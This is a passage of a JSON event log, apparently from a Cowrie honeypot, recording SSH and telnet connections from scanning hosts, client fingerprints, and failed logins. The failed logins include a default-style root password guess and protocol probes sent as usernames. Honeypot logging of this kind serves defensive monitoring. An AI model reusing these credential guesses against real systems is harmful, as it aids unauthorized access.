roup14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:20.819034Z","src_ip":"190.85.41.170","session":"502a2b3786c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xhl2g06n","password":"rDsmrHIgoab9w+EfuqeP","message":"login attempt [xhl2g06n/rDsmrHIgoab9w+EfuqeP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:21.143175Z","src_ip":"190.85.41.170","session":"502a2b3786c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:22.219894Z","src_ip":"190.85.41.170","session":"502a2b3786c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.58464527130127,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:25.781632Z","src_ip":"34.53.195.10","session":"5e8cbe8b375e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":44886,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9a7304b277","protocol":"telnet","message":"New connection: 34.53.195.10:44886 (10.17.0.5:23) [session: 3d9a7304b277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:32.668400Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:32.674546Z","src_ip":"34.53.195.10","session":"3d9a7304b277","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:32.679075Z","src_ip":"34.53.195.10","session":"3d9a7304b277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09400439262390137,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:32.762270Z","src_ip":"34.53.195.10","session":"3d9a7304b277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":44900,"dst_ip":"10.17.0.5","dst_port":23,"session":"905eb9ed47f8","protocol":"telnet","message":"New connection: 34.53.195.10:44900 (10.17.0.5:23) [session: 905eb9ed47f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:32.837486Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":44916,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c621dc9d5a0","protocol":"telnet","message":"New connection: 34.53.195.10:44916 (10.17.0.5:23) [session: 3c621dc9d5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:32.993060Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":44928,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc895116075e","protocol":"telnet","message":"New connection: 34.53.195.10:44928 (10.17.0.5:23) [session: fc895116075e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:33.147942Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":44930,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5deeadb15e3","protocol":"telnet","message":"New connection: 34.53.195.10:44930 (10.17.0.5:23) [session: a5deeadb15e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:33.302213Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":44940,"dst_ip":"10.17.0.5","dst_port":23,"session":"80bd67954edb","protocol":"telnet","message":"New connection: 34.53.195.10:44940 (10.17.0.5:23) [session: 80bd67954edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:33.458214Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":44946,"dst_ip":"10.17.0.5","dst_port":23,"session":"73a12a1159ab","protocol":"telnet","message":"New connection: 34.53.195.10:44946 (10.17.0.5:23) [session: 73a12a1159ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:33.612573Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"c13e6c2a4a5b","protocol":"telnet","message":"New connection: 34.53.195.10:49336 (10.17.0.5:23) [session: c13e6c2a4a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:33.768341Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49340,"dst_ip":"10.17.0.5","dst_port":23,"session":"59ef72d18ff5","protocol":"telnet","message":"New connection: 34.53.195.10:49340 (10.17.0.5:23) [session: 59ef72d18ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:33.922638Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49342,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6514608a9f4","protocol":"telnet","message":"New connection: 34.53.195.10:49342 (10.17.0.5:23) [session: d6514608a9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:34.076469Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49352,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cdf9f96ad50","protocol":"telnet","message":"New connection: 34.53.195.10:49352 (10.17.0.5:23) [session: 7cdf9f96ad50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:34.310367Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49354,"dst_ip":"10.17.0.5","dst_port":23,"session":"7669a48efdc5","protocol":"telnet","message":"New connection: 34.53.195.10:49354 (10.17.0.5:23) [session: 7669a48efdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:34.464451Z"}
{"eventid":"cowrie.session.closed","duration":0.0049915313720703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:34.469303Z","src_ip":"34.53.195.10","session":"7669a48efdc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49366,"dst_ip":"10.17.0.5","dst_port":23,"session":"95d495c4fbe8","protocol":"telnet","message":"New connection: 34.53.195.10:49366 (10.17.0.5:23) [session: 95d495c4fbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:34.619364Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49368,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd242e7c208","protocol":"telnet","message":"New connection: 34.53.195.10:49368 (10.17.0.5:23) [session: 5cd242e7c208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:34.796592Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49380,"dst_ip":"10.17.0.5","dst_port":23,"session":"134451868d05","protocol":"telnet","message":"New connection: 34.53.195.10:49380 (10.17.0.5:23) [session: 134451868d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:34.951084Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49396,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c987c8b8313","protocol":"telnet","message":"New connection: 34.53.195.10:49396 (10.17.0.5:23) [session: 0c987c8b8313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:35.107098Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49400,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7384b875cd2","protocol":"telnet","message":"New connection: 34.53.195.10:49400 (10.17.0.5:23) [session: d7384b875cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:35.263275Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49410,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ebca5ecdf65","protocol":"telnet","message":"New connection: 34.53.195.10:49410 (10.17.0.5:23) [session: 9ebca5ecdf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:35.418181Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49418,"dst_ip":"10.17.0.5","dst_port":23,"session":"f147dd815244","protocol":"telnet","message":"New connection: 34.53.195.10:49418 (10.17.0.5:23) [session: f147dd815244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:35.574792Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49424,"dst_ip":"10.17.0.5","dst_port":23,"session":"59858f51b9d4","protocol":"telnet","message":"New connection: 34.53.195.10:49424 (10.17.0.5:23) [session: 59858f51b9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:35.739711Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49438,"dst_ip":"10.17.0.5","dst_port":23,"session":"005f1842055d","protocol":"telnet","message":"New connection: 34.53.195.10:49438 (10.17.0.5:23) [session: 005f1842055d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:35.895055Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:35.900964Z","src_ip":"34.53.195.10","session":"005f1842055d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49452,"dst_ip":"10.17.0.5","dst_port":23,"session":"b13179973422","protocol":"telnet","message":"New connection: 34.53.195.10:49452 (10.17.0.5:23) [session: b13179973422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:36.054190Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49456,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c078180490c","protocol":"telnet","message":"New connection: 34.53.195.10:49456 (10.17.0.5:23) [session: 6c078180490c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:36.209338Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49458,"dst_ip":"10.17.0.5","dst_port":23,"session":"34769548101e","protocol":"telnet","message":"New connection: 34.53.195.10:49458 (10.17.0.5:23) [session: 34769548101e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:36.364459Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49466,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1b47f102fa","protocol":"telnet","message":"New connection: 34.53.195.10:49466 (10.17.0.5:23) [session: 0d1b47f102fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:36.518759Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49480,"dst_ip":"10.17.0.5","dst_port":23,"session":"a13af9794a0e","protocol":"telnet","message":"New connection: 34.53.195.10:49480 (10.17.0.5:23) [session: a13af9794a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:36.672567Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49492,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bb2a6e0e6d1","protocol":"telnet","message":"New connection: 34.53.195.10:49492 (10.17.0.5:23) [session: 3bb2a6e0e6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:36.826946Z"}
{"eventid":"cowrie.session.closed","duration":0.005068778991699219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:36.831891Z","src_ip":"34.53.195.10","session":"3bb2a6e0e6d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49504,"dst_ip":"10.17.0.5","dst_port":23,"session":"78500809697a","protocol":"telnet","message":"New connection: 34.53.195.10:49504 (10.17.0.5:23) [session: 78500809697a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:36.981017Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.195.10","src_port":49512,"dst_ip":"10.17.0.5","dst_port":23,"session":"7505296417d8","protocol":"telnet","message":"New connection: 34.53.195.10:49512 (10.17.0.5:23) [session: 7505296417d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:37.136818Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8813","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:37.141890Z","src_ip":"34.53.195.10","session":"7505296417d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.414048194885254,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.550766Z","src_ip":"34.53.195.10","session":"7505296417d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5750749111175537,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.555949Z","src_ip":"34.53.195.10","session":"78500809697a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8871233463287354,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.559592Z","src_ip":"34.53.195.10","session":"a13af9794a0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.044673204421997,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.563356Z","src_ip":"34.53.195.10","session":"0d1b47f102fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.203956365585327,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.568287Z","src_ip":"34.53.195.10","session":"34769548101e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3629074096679688,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.572102Z","src_ip":"34.53.195.10","session":"6c078180490c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.521634817123413,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.575700Z","src_ip":"34.53.195.10","session":"b13179973422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.690843343734741,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.585799Z","src_ip":"34.53.195.10","session":"005f1842055d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8501808643341064,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.589688Z","src_ip":"34.53.195.10","session":"59858f51b9d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6421048641204834,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.593068Z","src_ip":"34.53.195.10","session":"134451868d05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0216803550720215,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.596328Z","src_ip":"34.53.195.10","session":"f147dd815244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.181528329849243,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.599583Z","src_ip":"34.53.195.10","session":"9ebca5ecdf65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.4959185123443604,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.602873Z","src_ip":"34.53.195.10","session":"0c987c8b8313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.343559980392456,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.606708Z","src_ip":"34.53.195.10","session":"d7384b875cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8137400150299072,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.610200Z","src_ip":"34.53.195.10","session":"5cd242e7c208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9952409267425537,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.614486Z","src_ip":"34.53.195.10","session":"95d495c4fbe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.307813882827759,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.618010Z","src_ip":"34.53.195.10","session":"7cdf9f96ad50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.545374155044556,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.621703Z","src_ip":"34.53.195.10","session":"d6514608a9f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.702951908111572,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.625481Z","src_ip":"34.53.195.10","session":"59ef72d18ff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.860854864120483,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.629081Z","src_ip":"34.53.195.10","session":"c13e6c2a4a5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.019885540008545,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.632322Z","src_ip":"34.53.195.10","session":"73a12a1159ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.177394390106201,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.635501Z","src_ip":"34.53.195.10","session":"80bd67954edb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.336672782897949,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.638779Z","src_ip":"34.53.195.10","session":"a5deeadb15e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.494080066680908,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.641876Z","src_ip":"34.53.195.10","session":"fc895116075e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.653329610824585,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.646207Z","src_ip":"34.53.195.10","session":"3c621dc9d5a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.823884010314941,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.661231Z","src_ip":"34.53.195.10","session":"905eb9ed47f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.156761169433594,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:38.667426Z","src_ip":"34.53.195.10","session":"69e0cb1ed951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.83.79.94","src_port":60844,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa671b1ebf5","protocol":"telnet","message":"New connection: 75.83.79.94:60844 (10.17.0.5:23) [session: bfa671b1ebf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:49:58.790263Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":23506,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b1ffa0d3023","protocol":"ssh","message":"New connection: 45.123.110.70:23506 (159.203.135.109:22) [session: 0b1ffa0d3023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:08.913290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:08.919578Z","src_ip":"45.123.110.70","session":"0b1ffa0d3023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:09.175546Z","src_ip":"45.123.110.70","session":"0b1ffa0d3023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1900","message":"login attempt [root/1900] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:10.153295Z","src_ip":"45.123.110.70","session":"0b1ffa0d3023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:11.396415Z","src_ip":"45.123.110.70","session":"0b1ffa0d3023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.30759048461914,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:12.097733Z","src_ip":"75.83.79.94","session":"bfa671b1ebf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":46516,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d56897e25a3","protocol":"ssh","message":"New connection: 190.85.41.170:46516 (159.203.135.109:22) [session: 5d56897e25a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:44.729829Z"}
